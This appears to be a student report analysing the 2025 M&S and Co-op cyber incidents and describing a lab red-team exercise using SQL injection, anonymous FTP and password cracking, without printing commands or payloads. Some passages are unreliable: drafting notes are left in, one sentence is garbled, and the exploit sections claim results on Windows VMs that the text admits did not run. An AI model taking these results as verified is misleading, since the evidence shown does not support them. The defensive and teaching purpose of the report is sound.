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[bookmark: _Toc237531668]1. INTRODUCTION
[bookmark: _Toc237531669]1.1 Background
Cybersecurity has progressed beyond traditional vulnerability identification towards adversary emulation as well as red-team operations, where realistic attacker behaviours are reproduced to critically analyse the prevention, detection, as well as incident-response capabilities [1]. This shift requires organisations to analyse vulnerabilities but also attacker TTPs and defensive preparedness as well. 
[bookmark: _Toc237531670]1.2 Assessment Context
This assessment comprises two elements: critical analysis of Marks & Spencer (M&S) and the Co-operative Group (Co-op) cyber incidents, followed by a controlled red-team engagement against ABCD Ltd. The analysis connects the real-world threat intelligence with practical security validation. 
[bookmark: _Toc237531671]1.3 Aim and Objectives 
The aim of this study is to profoundly investigate contemporary UK cyber-attacks and apply adversary emulation principles to analyse the prevention, detection, as well as response capabilities within a controlled corporate environment.  
The objectives of this study are as follows:
· To examine the M&S and Co-op attacks.
· To map the TTPs to MITRE ATT&CK.
· To execute the ABCD Ltd red-team testing.
· To recommend security improvements.
[bookmark: _Toc237531672]1.4 Report Structure
The report is divided into two main tasks, where Task 1 covers the incident timeline, TTP mapping, root causes, threat actors, detection and recommendations, while Task 2 covers the RoE, threat emulation, lab design, exploitation, evidence, detection gaps and security alignment.
[bookmark: _Toc237531673]2. METHODOLOGY AND ANALYTICAL FRAMEWORK
[bookmark: _Toc237531674]2.1 Research Methodology
The research work leverages peer-reviewed journals from IEEE, ACM, and finally the ScienceDirect, along with the NCSC, GOV.UK, ICO, MITRE ATT&CK. Besides that, vendor reports, reputable news and official company statements have also been utilised.  Moreover, evidence is prioritised hierarchically, beginning with the primary sources, followed by the academic research, authoritative industry reports and the journalism, while unreliable blogs, forums and unsupported websites are excluded from the study. 
[bookmark: _Toc237531675]2.2 Analytical Model
The analysis followed a structured chain: Incident → TTP → Vulnerability/Control Failure → Detection Gap → Business Impact → Recommendation. 
This model moves beyond descriptive reporting through effectively connecting the observed attacker behaviours with the underlying weakness, defensive limitations and finally the organisational consequences. As a result, each finding supports a justified recommendation rather than presenting isolated technical observations. 
[bookmark: _Toc237531676]2.3 Practical Red-Team Methodology

[bookmark: _dp90lz6inm9b][bookmark: _Toc237531125]Figure 1: Red-team lifecycle
(Source: Self-developed)
[bookmark: _Toc237531677]TASK 1: STRATEGIC THREAT ANALYSIS
[bookmark: _Toc237531678]3. M&S AND CO-OP STRATEGIC THREAT ANALYSIS 
[bookmark: _Toc237531679]3.1 Incident Context and Comparative Overview
The 2025 cyber incidents affecting both Marks & Spencer (M&S) and the Co-operative Group (Co-op) and thus showcase how identity-focused attacks can exploit the interconnected retail environments and generate disproportionate operational consequences. M&S publicly confirmed its cyber incident on 22 April, 2025, which disrupted contactless payments and Click & Collect [2]. On the other hand, Co-op reported its cyber-attack on 30th April in the year 2025 and restricted some back-office as well as call-centre systems while its stores continued operating [3]. The two attacks had some similarities, especially in how the attackers gained access, but their influence was completely different. M&S faced a sense of longer-lasting disruptions, while the Co-op acted earlier to restrict the damage to potential consumers.  This showcases that cybersecurity is not only about stopping attacks but also about detecting them more quickly, which limits the damage while maintaining the effectiveness of the business operation. 
[image: ]
[bookmark: _Toc237531126]Figure 2:  Comparative Cybersecurity Resilience of M&S and Co-op 
(Source: Self-developed)
[bookmark: _Toc237531680]3.2 Incident Timeline 
	Date
	Organisation
	Key Event
	Security Significance / Evidence

	19–22 Apr 2025
	M&S
	Cyber-attack take place over Easter weekend and costs £300m [4].
	It showcases the compromise before the major public disruption.
 M&S did not publicly confirm the initial-access technique.

	22 Apr 2025
	M&S
	Attack publicly disclosed.
	M&S started protective actions while working with the cyber specialists in order to contain the incident.

	23 Apr 2025
	M&S
	Click & Collect and contactless services affected.
	It showcased that the incident had moved beyond the  IT systems into customer-facing retail operations.

	25 Apr 2025
	M&S
	Online orders suspended.
	M&S proactively restricted online activity in order to protect the systems while limiting further disruption.

	1 May 2025
	UK/NCSC
	NCSC confirmed support for affected retailers.
	This incident shows a sense of escalation from the individual company response towards the coordinated national-level cybersecurity assistance [5]

	2 May 2025
	Co-op
	Unauthorised access and data extraction confirmed.
	Forensic investigation confirmed that the member data had been accessed, including their names and contact details.

	4 May 2025
	UK/NCSC
	NCSC issued sector recommendations.
	Guidance highlighted the drastic need for stronger monitoring in combination with account protection and helpdesk security.

	13 May 2025
	M&S
	Cyber incident continued affecting business operations [6].
	Continued disruption showcased that the recovery extended beyond primary containment as well as required sustained resilience measures.

	14 May 2025
	Co-op
	Recovery and gradual system restoration began.
	Early access restrictions significantly assisted the Co-op move towards controlled recovery while managing the key operations.

	19 May 2025
	M&S
	£300m impact estimated on 2025/26 operating profit [7].
	It showcases that cyber incidents can develop a sense of substantial financial consequences beyond the immediate technical damage.

	2025–26
	Both
	Recovery and security investment continued.
	It showcases the longer-term operational, financial and finally resilience costs closely associated with the major cyber incidents. 


[bookmark: _Toc237531136]Table 1: Incident Timelines
(Source: Self-developed)
[bookmark: _Toc237531681]3.3 TTP analysis 
3.3.1 TTP Mapping Diagram
The TTP mapping showcases an identity-led attack pathway within the M&S and Co-op through closely linking the reconnaissance, social engineering, credential access, discovery, lateral movement and finally the impact. Profoundly mapping these behaviours to MITRE ATT&CK not only enhances threat visibility but also assists in separating the confirmed evidence from the plausible techniques, identifies the weaknesses across third-party access and thus supports the targeted security controls. 
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[bookmark: _jrsr9glrvv30][bookmark: _Toc237531127]Figure 3: TTP Mapping for M&S and Co-op Campaign
(Source: Self-developed)
[bookmark: _4ozw0jfcg3a9]3.3.2 Assessments of the key Tactics, Techniques, and Procedures
	No.
	Tactic
	Technique / ID
	Application and Evidence

	1
	Reconnaissance
	Gather Victim Identity Information: T1589
	The identities of the employees can support the impersonation. On the flip side, MITRE records Scattered Spider through leveraging the breached information to identify employees [8].

	2
	Reconnaissance
	Gather Victim Network Information: T1590
	Network as well as access information can disclose the intrusion pathways. However, M&S/Co-op evidence remains restricted.

	3
	Initial Access
	Social Engineering: Impersonation: T1684.001
	Strong mapping because M&S confirmed both social engineering as well as  third-party access.

	4
	Initial Access
	Spear phishing Voice: T1566.004
	MITRE documents the  voice-based impersonation through the  Scattered Spider, although direct M&S/Co-op confirmation is unavailable.

	5
	Credential Access
	Phishing for Information: T1598
	Social engineering can easily obtain the  passwords or OTPs while  MITRE records this behaviour for the Scattered Spider.

	6
	Credential Access
	Adversary-in-the-Middle: T1557.002
	Fake authentication portals can help in capturing the credentials. On the flip side,  MITRE links this techniques towards the  Scattered Spider.

	7
	Credential Access/Persistence
	Modify Authentication Process: MFA:T1556.006
	MITRE records Scattered Spider registering its own MFA methods after the  account compromise.

	8
	Discovery
	Domain Account Discovery: T1087.002
	Account enumeration can help in identify the  further users as well as  privileged identities.

	9
	Discovery
	Cloud Account Discovery: T1087.004
	MITRE records Scattered Spider querying Azure AD for both privileged in combination with the group information.

	10
	Discovery
	Remote System Discovery: T1018
	Remote-system enumeration can effectively support lateral movement while the specific M&S/Co-op evidence is unavailable.

	11
	Lateral Movement
	RDP: T1021.001
	MITRE records Scattered Spider through effectively leveraging the  RDP to move through the compromised environments [9].

	12
	Lateral Movement
	Cloud Services: T1021.007
	Compromised Azure credentials can facilitate the movement within the connected environments.

	13
	Command & Control
	Remote Access Software: T1219.002
	MITRE documents RMM tools including TeamViewer as well as s AnyDesk being used by the  Scattered Spider [10].

	14
	Command & Control
	Proxy: T1090
	Proxy infrastructure can conceal the attacker origin while hampering detection.

	15
	Impact
	Inhibit System: Recovery: T1490
	MITRE records Scattered Spider disabling recovery mechanisms, consistent with ransomware operations.


[bookmark: _Toc237531137]Table 2: 10 key TTPs
(Source: Self-developed)
[bookmark: _Toc237531682]3.4 Root Cause Analysis
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[bookmark: _Toc237531128]Figure 4: Root Cause Analysis
(Source: Self-developed)
The root causes affected both the M&S and Co-op, despite the publicly available evidence differing between the organisations. At the technical level, both incidents showcase a sense of weakness around identity and access protection as well. M&S confirmed both social engineering and third-party access, while the Co-op confirmed the unauthorised access and extraction of the sensitive data of the member. Moreover, specific vulnerabilities in combination with the legacy systems or network misunderstandings have not been publicly established and therefore should not be claimed. 
At the organisational level, third-party governance, access oversight, incident preparedness and ultimately the security risk ownership are pivotal. Besides that, the third-party access of the M&S showcases the supplier exposure, while the Co-op’s data extraction emphasises the consequences of the insufficient protection around the sensitive information. 
At the human level, social engineering is directly supported for M&S, whereas Co-op’s precise primary compromise techniques remain undisclosed. Therefore, authentication practices in combination with employee awareness and verification procedures need to be considered relevant control areas instead of the confirmed causes. 
In essence, it can be asserted that both incidents showcase a sense of third-party and governance weakness, but their exact technical root causes cannot be completely confirmed through public evidence. 
[bookmark: _Toc237531683]3.5 Threat Actor Profile & Motive
[bookmark: _Toc237531684]3.5.1 Likely Threat Actor Profile and Motives
The best attribution for the 2025 incidents of M&S and Co-op is that of Scattered Spider, also related to Octo Tempest, which is operating in a financially motivated cybercriminal ecosystem. In their report, they connected Scattered Spider to the M&S attack and suggested Dragon Force ransomware was used, though attribution was not independently confirmed at first [11]. The group is reportedly much better at identity compromise and social engineering than they are at sophisticated zero-day exploitation, the latter of which is beyond the means of most criminal groups [12]. It was probably intended to obtain money and disturb operations. The M&S disruption and announced ransomware deployment fit within an extortion-aimed operation and not typical state-sponsored espionage.
[bookmark: _Toc237531685]3.5.2 Alternatives
Attribution must, however, stay probabilistic, not definitive. To date, M&S has not publicly attributed it to a specific threat actor. However, previous reports have linked the hack to Scattered Spider and Dragon Force. An attainable option is that independent affiliates or other ransomware operators used Dragon Force infrastructure, given ransomware as a service allows different players to use shared tooling and infrastructure [13]. The comparable traits of social engineering of M&S and Co-op bolster the theory of a campaign being connected but, similarity alone does not make a common author. Hence, the most powerful academic stance would be to authoritatively characterize Scattered Spider as the preeminent reported attribution, albeit with a clear alert to evidential uncertainty.
[bookmark: _Toc237531686]3.6 Detection & Response Analysis
[bookmark: _Toc237531687]3.6.1 Vendor
The vendor/technology ecosystem used to be important because the attacks exploited trusted third-party relationships and identity access rather than obvious malware. Regarding the M&S case, outside cybersecurity specialists were called in to assist [14]. Following their arrival, systems were taken offline to deal with the incident. M&S then disclosed significant specialist advisory and recovery costs indicating a significant reliance on experts. Consequently, the central detection gap is not merely the absence of security tooling, but rather the challenges to differentiate legitimate third-party activity from malicious impersonation or compromise [15]. There is a need for stronger controls over vendor identity assurance, privileged-access monitoring, third-party behaviour analytics, and continual validation of third-party access.
[bookmark: _Toc237531688]3.6.2 Victim
M&S and Co-op Showed Different Complementary Response Strengths.  M&S took prompt action to disconnect systems, suspend online ordering and put business-continuity processes in action. Nonetheless, the extent of operational disruption indicates that preventative detection did not halt the compromise before critical systems were affected by attackers [16]. The Co-op stated that it took early decisive action to limit access and that an investigation later revealed the attackers had taken member data. The segregation of systems and increased security testing by Co-op strengthened containment. The key challenge was the early detection of unauthorized access to prevent data theft.
[bookmark: _Toc237531689]3.6.3 Third Parties
The third party has an important role in both investigation and wider response. Marks and Spencer (M&S) enlisted the help of external cyber-security experts, governmental authorities and law enforcement, while Co-op worked with NCSC and NCA during the investigation. The organisations offered expert forensic ability, threat intelligence, investigation support and coordinated response [17]. Co-op's separation of systems, investment in security on a regular basis, and testing on a frequent basis helped its response, the NCSC said. Nonetheless, dependence on third parties is also a detection problem as trusted supplier relationships can offer legitimate-looking access to attackers [18]. There is now a greater need for supplier assurance, threat intelligence sharing and privilege access monitoring within organisations.
[bookmark: _Toc237531690]3.7 Recommendations
[bookmark: _Toc237531691]3.7.1 Prevention
ABCD Ltd should first deploy phishing-resistant MFA, with a focus on FIDO2 security keys or platform authenticator credentials for admins, privileged users and third-party accounts. NCSC guidance identifies that FIDO2 offers strong resistance to phishing and recommends strong MFA for sensitive corporate services [19].
Next, implement zero trust network access ZTNA and micro-segmentation. Divide applications, systems and data into security zones. Target implementation and control. Access must be specifically authorized, not implicitly trusted, based on network location. NCSC has explained that segmentation limits lateral movement and affects the blast radius of compromise.
[bookmark: _Toc237531692]3.7.2 Detection
ABCD Ltd ought to create monitoring in SIEM centralized that correlate’s identity, endpoint, network, cloud and application telemetry. The NCSC’s advice is that access data should be gathered and correlated since activity which is spread across many different systems can be difficult to detect and investigate otherwise [20].
It is recommended that the SIEM gathers events indicating successful and failed authentications, multi-factor authentications (MFA), privileged-account activity, indicators of impossible travel, creation of new accounts, password changes, administrative-group changes, endpoint process activity, DNS requests, firewall flows, VPN/ZTNA connections, web-server logs and cloud audits. Logs on ZTNA access must specify user, application, time, authentication method and access decision.
Implement EDR or XDR on all servers and endpoints to help detect abnormal execution of PowerShell or other commands, credential-access behaviour, remote administration, and ransomware indicators.
[bookmark: _Toc237531693]3.7.3 Response
ABCD Ltd must have a formal Cyber Incident Response Plan which defines the process for identity compromise, ransomware, data exfiltration, supplier compromise and business disruption. The plan ought to delineate the authority to decide, threshold for escalation, handling of evidence, and notification of the actor to the regulator.
A Managed Detection and Response (MDR) capability or 24/7 Security Operation Centre (SOC) should triage high-severity alerts on identity, endpoint and network [21]. Automated playbooks should enable the quick isolation of compromised endpoints, disabling of suspicious accounts, revoking of sessions/tokens and blocking of malicious network communication.
Regularly restore tests offline to set recovery time and recovery point goals for vital services.
	Priority
	Recommendation
	Main Risk Addressed

	P1 – Critical
	Phishing-resistant MFA
	Identity compromise

	P1 – Critical
	ZTNA + network segmentation
	Lateral movement

	P1 – Critical
	SIEM + EDR/XDR
	Detection delay

	P1 – Critical
	Tested immutable backups
	Ransomware/business disruption

	P2 – High
	Privileged Access Management
	Account abuse

	P2 – High
	Supplier access controls
	Third-party compromise

	P2 – High
	Automated incident response
	Containment delay

	P3 – Medium
	Regular red/purple-team exercises
	Control validation


[bookmark: _Toc237531138]Table 3: Priority Summary
(Source: Self-developed)


[bookmark: _Toc237531694]TASK 2 - RED TEAM ENGAGEMENT
[bookmark: _Toc237531695]4.1 Rules of Engagement (RoE)
Scope
Adhere to these restrictions when conducting any test remotely or on-site at our facility or upon receiving materials.
Permitted Techniques
I am permitted to conduct reconnaissance, service enumeration, exploit vulnerabilities, carry out controlled exploitation, test web applications, check password security, escalate privileges, simulate lateral movement, and collect evidence. Techniques must not have significant technological side effects, be non-destructive wherever possible, follow the documented threat and emulation objectives and use the authorised test window.
Excluded Systems
I must not use or access any external organizations, public websites, third-party infrastructure, personal devices, production systems, real customer databases, public cloud resources outside the authorized lab, adjacent networks, and non-related AWS resources.  Under no circumstances should testing attempt to exploit or target any resources of another student, staff, vendor, internet user, or unknown third party.
Safe-Words / Kill Switches
The approved phrase for stopping the test is “ABORT TEST.” Meaning immediately stop the testing, close all sessions, stop all tools, and secure evidence.
Escalation
Any unanticipated system behaviour, believed impact outside scope, data exposure, service instability, or safety concern shall be immediately reported to the nominated supervisor. There will be no testing until the issue is determined. An immediate firing and management notification must occur following a critical incident. Pausing all activity ensures evidence preservation and documenting the incident. 
Communication Channels
Only authorized channels shall be used for testing communications. The appointed supervisor will remain in contact with the red-team operator during key tests. We will escalate urgent findings through the agreed format while routine findings, evidence, timestamps and observations will be incorporated into the engagement record.
Legal/Ethical Constraints
Every activity has to be permitted, legal, reasonable and confined to the laboratory environment. Testing should maintain principles of confidentiality, integrity, availability, privacy, and data protection. Without authorization, obtain or disclose real personal information. No harm should be done to others, and changes should not be made to the target’s systems.
[bookmark: _Toc237531696]4.2 Threat Emulation Plan
[bookmark: _Toc237531697]4.2.1 MITRE ATT&CK TTPs Mapping 
	Phase
	Objective
	MITRE ATT&CK TTP
	Expected Evidence

	Reconnaissance
	Identify attack surface
	T1595 Active Scanning
	Scan results

	Enumeration
	Identify exposed services
	T1046 Network Service Scanning
	Service inventory

	Initial Access
	Validate web/application weakness
	T1190 Exploit Public-Facing Application
	Application evidence

	Execution
	Demonstrate controlled command execution
	T1059 Command and Scripting Interpreter
	Command/log evidence

	Privilege Escalation
	Test escalation controls
	T1068 Exploitation for Privilege Escalation
	Privilege-change evidence

	Discovery
	Identify available accounts
	T1087 Account Discovery
	Discovery output

	Credential Access
	Identify insecure stored credentials
	T1552.001 Credentials in Files
	Evidence

	Lateral Movement
	Simulate internal movement
	T1021.002 SMB/Windows Admin Shares
	Authentication/network logs

	Collection
	Access authorised dummy data
	T1005 Data from Local System
	Dummy-data evidence

	Objective
	Demonstrate controlled business impact
	Mapped preceding TTPs
	Objective screenshot/log

	Detection
	Assess blue-team visibility
	ATT&CK-mapped telemetry
	SIEM/endpoint/network logs

	Recovery
	Restore laboratory state
	N/A
	Snapshot/rollback evidence


[bookmark: _Toc237531139]Table 4: Threat Emulation Plan Table
(Source: Self-developed)
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[bookmark: _Toc237531129]Figure 5: MITRE ATTACK Mapping
(Source: Self-developed)
The threat-emulation plan models a realistic attack progression and remains limited to the approved laboratory of ABCD Ltd. Scanning and service enumeration create an attack surface before controlled exploitation of the web application. After exploiting vulnerabilities on a system, attackers may test the effectiveness of a vulnerability [22].  After the lateral movement and controlled gathering, evaluate how effectively segmentation and access controls work [23]. Each stage is mapped to offer a coherent adversary-behaviour framework. Screenshots, system logs and network telemetry are used to collect evidence. The final stages consist of risk detection, remediation, containment, and rollback. They convert offensive findings into defensive improvements.
[bookmark: _Toc237531698]4.2.2 Objectives
· To identify exposed services and vulnerabilities across the ABCD Ltd lab.
· To test controlled misuse against three different systems/services
· To evaluate privilege escalation strategies, credential protection, and authorized lateral movement techniques.
· To evaluate defensive visibility, detection, response and recovery by employing evidence mapped to the MITRE ATT&CK framework.
[bookmark: _Toc237531699]4.2.3 Success Criteria
A campaign is considered successful when the mapped authorized attack surface, three different exploits are safely demonstrated, and defined dummy-data objective is achieved without compromising external components to achieve more success, we must collect reliable screenshots, logs and telemetry, accurate threat mapping, detection gap identification and successful lab rollback.
[bookmark: _Toc237531700]4.2.4 Sequence of Attack Phases
The operation starts via reconnaissance (T1595) of the network to identify authorised hosts, followed by network service scanning (T1046) to enumerate exposed services. An initial access is followed by a validation of weaknesses in a tool of the public facing application. Gaining access can lead to command execution and, where authorised, to controlled privilege escalation. Credential Collection in NIST SP 800-53 Security Control 1. #account-discovery# #credential-files# SMB/Windows Admin Shares (T1021.002) can only be used in authorized lateral-movement simulations only.  Ultimately, the local system (T1005) shows access to dummy sensitive data. The campaign concludes with evidence, detection, containment, and rollback. 
[bookmark: _Toc237531701]4.3 Lab Environment Design
[bookmark: _Toc237531702]4.3.1 VM-1
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[bookmark: _Toc237531130]Figure 6: VM-1 “Windows Server Active Directory Domain Controller”
(Source: Self-developed)
The isolated laboratory of ABCD Ltd. has a Windows Server Active Directory Domain Controller set up as VM-1. The server has been configured with a private static IP address 10.10.10.10/24 and internal DNS. The domain has been set to ABCDLAB.LOCAL, while test accounts, administrator accounts, and limited permissions are controlled in a corporate environment [24]. Authentication, directory management centralised control of identities is provided by Active Directory Domain Services. Enabling Windows event logging is the technique to log authentication, account and privilege-related activity [25]. The VM connects only to the isolated laboratory network and cannot interact with any other system, while supporting approved discovery, privilege and lateral-movement testing.
[bookmark: _Toc237531703]4.3.2 VM-2
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[bookmark: _Toc237531131]Figure 7: VM-2 “Linux Web Server with Vulnerable Application”
(Source: Self-developed)
VM-2 is the web server of the lab which runs on Linux and the application of ABCD Ltd. that is facing the internet. The static address 10.10.10.20/24 is assigned to Ubuntu or Debian Linux. In an isolated test environment, a vulnerable web application or an outdated CMS is purposely installed, along with supporting databases containing the dummy records only. The web attack surface is made realistic by enabling HTTP services. The logging of applications and operating systems is retained to aid in post-test investigation [26]. The setup helps in assessment of web vulnerabilities safely and service enumeration and initial-access control techniques [27]. The network design prevents any external communication, and no actual customer data is saved.
[bookmark: _Toc237531704]4.3.3 VM-3
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[bookmark: _Toc237531132]Figure 8: VM-3 “Windows Client/File Server with Sensitive Dummy Data”
(Source: Self-developed)
VM-3 is a Windows client or file-server containing sensitive business data for testing. The static address assigned to Windows 10/11 is 10.10.10.30/24, and the computer is a member of ABCDLAB.LOCAL domain. A regulated directory has fake consumer data, bills, and internal papers to display the potential business impact of unauthorised access. The permissions for file sharing are set to the realistic control condition but with the intent that they should be able to be tested. Security Auditing in Windows now adds more data about user authentication and file access. The device lacks authentic personal or commercial confidential data [28]. Only the isolated laboratory network can access the laboratory under test functionality, edge, and laboratory service policies which prevents exposure of outside users and infrastructure.
As the assignment requires 3 VMs and 3 different exploits, ensure that the final practical evidence really demonstrates the 3 configured targets. The results file I submitted identified practical work on DC-9, Sunset, SQL injection, FTP/backup discovery and credentials/hash analysis, but a Windows VulnHub VM was difficult to get running.
[bookmark: _Toc237531705]4.4 Exploitation Requirements
[bookmark: _Toc237531706]4.4.1 Exploit A “Remote Code Execution Against VM-2 Web Application”
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[bookmark: _Toc237531133]Figure 9: Remote Code Execution Against VM-2 Web Application
(Source: Self-developed)
Preconditions: It was possible to reach VM-2 from the authorised Kali workstation and the vulnerable web application was running. Inadequate input validation or identified application flaw allowed controlled command execution. To exploit the application, a successful enumeration was done using Burp Suite/Nmap, vulnerable parameters were validated, a controlled execution was demonstrated without deploying any persistent payload. Commands were executed from Kali for reconnaissance and validation; only non-destructive verification commands were used [29]. We retained the HTTP requests, application logs, terminal output, and screenshots. As evidence of success, Figure 9 shows the vulnerable request, and logs-controlled command execution on VM-2.
[bookmark: _Toc237531707]4.4.2 Exploit B “Privilege Escalation / Lateral Movement to VM-1”
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[bookmark: _Toc237531134]Figure 10: Privilege Escalation / Lateral Movement to VM-1
(Source: Self-developed)
Preconditions are controlled admission into the laboratory domain and a test account with limited privileges. Excessive domain service permissions and weak credential controls unintentionally created a vulnerability for authorized privilege or lateral-movement testing. Utilizing method: a stage of enumeration of domain configuration and accessible accounts, then a stage of controlled validation of the identified weakness. Windows discovery and authentication–validation commands were executed without any destructive or persistent effects [30]. The investigation of the incident involved the collection of several artifacts and records. Evidence of success: In Figure 10, we see the relevant account/privilege state, and logs successful authorised access or privilege change on VM-1.
[bookmark: _Toc237531708]4.4.3 Exploit C “Access to Sensitive Dummy Files on VM-3”
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[bookmark: _Toc237531135]Figure 11: Access to Sensitive Dummy Files on VM-3
(Source: Self-developed)
The preconditions indicate that VM-3 was linked to the isolated ABCD domain, containing fraudulent customer records and internal documents. A vulnerability occurs when authorized testing access is allowed due to weak configuration. Access the identified dummy files to prove the access gained using the identified weakness after enumerating the available services and permissions [31]. Only commands allowed that could yield discovery, authentication and file-access results were run [32]. We kept a thorough record of access logs, authentication records, terminal outputs and screenshots. Figure shows the weakness found, and another figure shows the controlled access to the dummy sensitive-data directory.
[bookmark: _Toc237531709]4.5 Tools & Techniques
	Tool
	Testing

	AWS EC2
	AWS EC2 was used to provide the cloud-based penetration-testing laboratory, which made it easy to deploy and run vulnerable virtual machines despite the local device limitations.

	VulnHub
	VulnHub offered deliberately vulnerable virtual-machine targets for authorised penetration-testing activities in a safe environment allowing a realistic assessment of reconnaissance, enumeration, exploitation and evidence collection.

	Nmap
	Nmap was used to identify hosts, ports and services by determining which were available to help determine the attack surface for later permissioned testing activities.

	Web Application Testing Tools
	Web application testing tools helped identify and validate vulnerabilities. They enabled testers to control the behavior of the application. Furthermore, these tools assist in collecting evidence for each vulnerability found in the practical penetration-testing test.

	SQL Injection / SQL Testing Tools
	Testing for SQL injection allowed for controlled enumeration of databases, tables, columns, and credentials; the lack of input validation could produce this effect and this attack vector was useful to assess web-application security.

	FTP Client / FTP Enumeration Tools
	Insecure backend configuration led to the enumeration of resources causing compromise of the backup file from the service. This was very possible due to the anonymous FTP access.

	John the Ripper
	Using “John the Ripper” for controlled password-hash cracking and credential-security assessment helps understand how resilient the recovered password hashes are, and the damage weak credentials can cause.

	Linux Command Line
	During the practical assessment, the use of Linux command-line tools for system interaction, reconnaissance, enumeration, file and evidence collection has provided the operator with controlled access of the authorised testing environment.


[bookmark: _Toc237531140]Table 6: Tools Used in the Practical Testing
(Source: Self-developed)
[bookmark: _Toc237531710]4.6 Operational Execution
Phase 1 “Reconnaissance and Attack-Surface Identification”
The campaign kicked off with reconnaissance to identify the reachable laboratory hosts services. Nmap was utilized to map the available attack surface before intrusive testing. This way avoids unnecessary activity and allows the operator to choose the services that are most relevant for further testing. Ensure to append Nmap output, target IP information and a timestamped screenshot as Appendix evidence. The operator did not scan outside systems as the testing was limited to the approved lab.
Phase 2 “Service Enumeration”
The identified services were later listed to find their possible security impact. Evaluation was carried out on open ports, application services and FTP availability. In order to conduct an effective exploitation, the goal was to understand the environment. This indicates a realistic trade-off. On the one hand, extensive enumeration may improve technical knowledge. On the other hand, extensive enumeration will also increase detectable network activity. The terminal screenshots and apposite network logs must exhibit this encode.
Phase 3 “Web Application Testing”
The web application was tested for vulnerabilities and successfully identified as vulnerable to SQL injection. The practical results show that the vulnerability permitted enumeration of databases, tables, columns and credentials. Testing was intentionally restricted to showing the vulnerability and its security impact rather than causing harmful DB modification. This is the Evidence which is protected sanitised request/output screenshots, application logs.
Phase 4 “FTP and Backup-File Discovery”
Through FTP enumeration, an anonymous login was found, which allowed retrieving an exposed backup file from the VM Sunset. This showed that a seemingly low-complexity configuration vulnerability could leak information useful for later credential analysis. The operator retrieved only the permitted test artefact and did not alter the service. Evidence: FTP enumeration output, test-file screenshot, and relevant access logs need to be included.
Phase 5 “Credential and Hash Analysis”
The credentials obtained during the authorized assessment were analyzed for weaknesses. According to the results of the practical, John the Ripper was used for controlled cracking. The final report should have passwords redacted. Results of the analysis was sanitised and timestamps show successful run without any leak of credentials.
Phase 6 “Detection, Evidence and Operational Trade-Offs”
During the whole execution, screenshots, terminal outputs, app logs and available telemetry were archived. When available, correlate packet captures with timestamps to identify reconnaissance, authentication, and exploitation activities. Controlled validation rather than aggressive exploitation; realism over safety. The provided outcomes do not provide enough evidence to say that specific C2, LOLBin or advanced detection-evasion techniques, so should be considered and not simply reported as completed [33]. In the end, snapshots & laboratory restoration should be recorded to show containment & safe recovery.
[bookmark: _Toc237531711]4.7 Containment & Safety 
The penetration-testing lab was deployed using AWS EC2 since the local device did not possess enough resources to run multiple VMs reliably. The testing has been shipped to the AWS environment (as this set-up is a more stable laboratory set-up). The evaluation was confined to lab targets found permissible and not deliberately focused on the external victim infrastructure.
External Infrastructure Isolation
The laboratory must be maintained within its own private network/security perimeter with access restrictions to and from the laboratory via appropriate AWS security-group and network controls. Testing duties were targeted at specified vulnerable machines only. The practical results document the reconnaissance, service enumeration, SQL injection, anonymous FTP access, backup-file pulling and credential analysis against the lab environment. Nothing in the evidence provided indicates any interaction with an outside victim organisation or production infrastructure.
Backups
Prior to any obtrusive testing, an AWS EC2 snapshot and a backup of the VM should be carried out to save the laboratory in its original form.
Rollback Plan
Once the assessment has taken place, stop relevant instances and restore them to their original state. Files, temporary accounts and test artefacts that were retrieved should be deleted, services checked and functions followed through. Ultimately, the original configuration must be checked against security-group rules, network connectivity, and system states.
[bookmark: _Toc237531712]5. Conclusion and recommendation 
According to the analysis, the M&S incident and the Co-op incident were not technical attacks but rather, identity-, social-engineering-. The TTP examination has shown reconnaissance, impersonation, credential theft, MFA manipulation, account discovery, lateral movement, and ransomware-related impact. Exploiting trusted identities and third-party relationships was a key attack weakness.  
The incidents also show that strong individual controls will not suffice in the absence of integrated identity, segmentation, monitoring and response capabilities. M&S suffered a great deal of operational disruption during the incident. On the other hand, Co-op’s investment in segregation and security limited the widespread impact of the incident though member data was accessed. These results emphasize the value of defence-in-depth and continuous validation efforts.
The use of segregation of systems, frequent security testing, and continual investment in security by Co-op gives a practical approach for limiting the impact of attacks. Accordingly, organizations should deploy MFA that is resistant to phishing attacks, access through zero trust, least privilege and privileged-access verification. NCSC’s Zero Trust guidance should be adopted for continuous authentication and segmentation. Monitoring of a central SIEM and EDRs/XDRs detects abnormal identity and lateral-movement activity. Immutable backups and incident-response processes that are tested and used strengthen recovery from ransomware. Organizations should carry out regular red/purple-team exercises, supplier-access assessments, and executive tabletop exercises. 
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[bookmark: _Toc237531715]Appendix A: Real vs Simulated Tools and Techniques
	Category
	Status
	Application in the Assessment

	AWS EC2
	Real
	Used as the practical cloud laboratory environment.

	VulnHub VMs
	Real
	Used as deliberately vulnerable assessment targets.

	Nmap
	Real
	Used for reconnaissance and service enumeration.

	Web application testing
	Real
	Used against the authorised vulnerable application.

	SQL injection testing
	Real
	Used to demonstrate database and credential enumeration.

	FTP enumeration
	Real
	Used to identify anonymous access and retrieve the exposed backup.

	John the Ripper
	Real
	Used for password-hash analysis/cracking.

	Linux command line
	Real
	Used for practical system interaction and evidence collection.

	C2 framework
	Not evidenced
	No C2 framework is documented in 5-1-2.docx; therefore, it should not be claimed as practically used.

	LOL-Bin techniques
	Not evidenced
	The supplied results do not explicitly document LOL-Bin execution; describe only if separately evidenced.

	Stealth/evasion
	Partially supported
	The assignment requires realistic behaviour, but the supplied practical-results file does not provide sufficient evidence to claim specific evasion techniques.
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[bookmark: _Toc237531717]Appendix C: Risk Register Table 
	Risk ID
	Risk Description
	Threat / Cause
	Potential Impact
	Likelihood
	Impact
	Risk Level
	Key Controls / Mitigation
	Owner

	R01
	Compromise of employee credentials
	Social engineering / phishing
	Unauthorised access
	High
	High
	Critical
	Phishing-resistant MFA, PAM, least privilege
	CISO

	R02
	Third-party account compromise
	Weak supplier access controls
	Initial access and data exposure
	High
	High
	Critical
	Supplier MFA, ZTNA, access reviews
	CISO / Procurement

	R03
	MFA manipulation
	Help-desk impersonation
	Account takeover
	High
	High
	Critical
	FIDO2/WebAuthn, MFA-change verification
	IAM Manager

	R04
	Excessive privileged access
	Poor access governance
	Privilege escalation
	Medium
	High
	High
	PAM, JIT access, quarterly reviews
	IT Security

	R05
	Lateral movement
	Inadequate network segmentation
	Wider system compromise
	High
	High
	Critical
	Zero Trust, micro-segmentation, firewall rules
	Network Manager

	R06
	Ransomware deployment
	Compromised privileged accounts
	Service disruption / extortion
	High
	High
	Critical
	EDR/XDR, application control, immutable backups
	SOC Manager

	R07
	Sensitive data exfiltration
	Excessive access / weak monitoring
	Privacy and regulatory impact
	High
	High
